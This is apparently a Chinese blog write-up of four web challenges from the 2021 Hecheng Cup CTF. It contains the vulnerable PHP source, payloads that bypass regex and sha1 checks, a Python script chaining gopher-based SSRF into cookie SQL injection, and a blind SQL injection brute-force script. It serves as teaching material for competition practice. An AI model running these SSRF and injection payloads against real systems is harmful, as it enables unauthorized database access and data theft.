2021年鹤城杯

EasyP

考点

php特性

wp

代码

<?php
include 'utils.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}
?>

$_SERVER['PHP_SELF']官方解释:

当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用$*SERVER['PHP_SELF']将得到 /foo/bar.php。__FILE*_ 常量包含当前(例如包含)文件的完整路径和文件名。 从 PHP 4.3.0 版本开始,如果 PHP 以命令行模式运行,这个变量将包含脚本名。之前的版本该变量不可用

然后加上basename,就可以直接获取bar.php

如果传入/index.php/utils.php/,则basename($_SERVER[‘PHP_SELF’])返回utils.php,但是因为存在正则/utils.php/*$/i来限制URL结尾出现utils.php,返回空
此处利用点为basename函数的特性:在遇到非ascii字符时会将其舍弃
ASCII值范围为0-255,但ASCII码并没有规定编号为128~255的字符,ASCII表范围为0-127,也就是我们传入128以上的数值,即可绕过正则,128 -> 0x80
即当url为:basename(“config.php/%ff”)实际为utils.php,利用这个特点可以绕过正则的匹配:preg_match(‘/utils.php/*$/i’

然后就是绕过show_source,这个比较简单

可以看看我的一个CTF题目里

也可以利用urlencode

所以payload

index.php/utils.php/%ff?show[source
index.php/utils.php/%ff?%73how_source

Middle magic

考点:

php特性的绕过

wp

<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){

    $aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);

    if(preg_match('/pass_the_level_1#/', $aaa)){
        echo "here is level 2";

        if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
            if ($_POST['admin'] == $_POST['root_pwd'])
                echo '<p>The level 2 can not pass!</p>';
            // START FORM PROCESSING
            else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
                echo "here is level 3,do you kown how to overcome it?";
                if (isset($_POST['level_3'])) {
                    $level_3 = json_decode($_POST['level_3']);

                    if ($level_3->result == $result) {

                        echo "success:".$flag;
                    }
                    else {
                        echo "you never beat me!";
                    }
                }
                else{
                    echo "out";
                }
            }
            else{

                die("no");
            }
            // perform validations on the form data
        }
        else{
            echo '<p>out!</p>';
        }

    }

    else{
        echo 'nonono!';
    }

    echo '<hr>';
}

?>

这儿绕过preg_replace相当于绕过preg_match/^(.*)level(.*)$/

这种正则写法是存在缺陷的:.用于任意字符匹配并不包括换行符,而且^ $界定了必须在同一行,否则匹配不到,直接利用%0a

所以GET:aaa=%0apass_the_level_1%23

对于为什么要用%23,不用#?

因为URL中的#是位置标识符

可以看看这个文章

对于sha1绕过,很熟悉了

下面就是对php json的绕过

http://blog.merl1ng.cc/2017/08/13/php%E5%BC%B1%E5%8C%B9%E9%85%8D%E5%92%8Cjson

$level_3->result == $result,利用布尔true绕过

payload

POST:

admin[]=1&root_pwd[]=2&level_3={"result":true};

easy_sql_1

use.php有个curl,想到了SSRF

我们用gopher://协议直接访问到了index.php

弱口令登录,admin和admin

登录成功后,出现cookie,是base64后的username

在cookie处存在注入,可以通过报错拿到flag

import requests
import urllib.parse
import base64

url = 'http://ip/use.php'

sqlpayload = 'uname=admin&passwd=admin&Submit=1'
cookie = b'''this_is_your_cookie=admin') and updatexml(1,concat(0x7e,(select substr((select flag from flag),1,40))),1)#'''

sqlbody_post = '''POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-type:application/x-www-form-urlencoded
Content-Length: {}

{}
'''.replace('\n','\r\n').format(len(sqlpayload),sqlpayload)

sqlbody_get = '''GET /index.php HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=3qip5l91lc1jtal09u9h40tkp0;this_is_your_cookie={}
'''.replace('\n','\r\n').format(urllib.parse.quote(str(base64.b64encode(cookie),encoding='utf-8')))

print(sqlbody_get)
gopher_payload = urllib.parse.quote('gopher://127.0.0.1:80/_'+ urllib.parse.quote(sqlbody_get))

r = requests.get(url+'?url='+gopher_payload)
print(r.text)

easy_sql_2

对于堆叠注入

常用的语句就是prepare execute handler select update insert drop show into outfile

prepare和execute:就是用set定义一个字符串变量,而字符串变量可以用concat来绕过过滤,再用prepare对字符串进行预处理变成一个statement,execute执行字符串。

handler是MySQL独有的语句,代替select的,功能就是打开一个表,然后返回一个句柄,一行一行读

handler table_name open;
handler table_name read first;
handler table_name reand next;

show:就可以直接得数据库等信息

into outfile:可以写文件到目录中。

可以参考这个

这儿我也想到了一个bypass

[bypass information_schema](https://www.anquanke.com/post/id/193512)(好像用不到)

对于堆叠注入不能用,可以看看mysql8的新特性

TABLE statement - 列出表中全部内容
VALUES statement - 列出一行的值

该题是借用RoarCTF-ezsql

这个题的脚本

import requests
 
def bind_sql():
    flag = ""
    dic = "~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/-,+*)(&%$#!"
    for i in range(1,1000):
        f = flag
        for j in dic:
            _ = flag + j
            # payload = "11'||('ctf',binary'{}',1,2,3,4)<(table/**/mysql.innodb_table_stats/**/limit/**/1,1)#".format(_)
            #admin,fl11aag
            payload = "11'||(binary'{}')<(table/**/ctf.fl11aag/**/limit/**/1,1)#".format(_)
            print(payload)
            data = {
                "username": payload,
                "password": "admin"
            }
            res = requests.post(url=url, data=data)
            if 'success' in res.text:
                if j == '~':
                    flag = flag[:-1] + chr(ord(flag[-1])+1)
                    print(flag)
                    exit()
                flag += j
                print(flag)
                break
        if flag == f:
            break
    return flag
 
if __name__ == '__main__':
    url = 'url/login.php'
    result = bind_sql()
    print(result)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值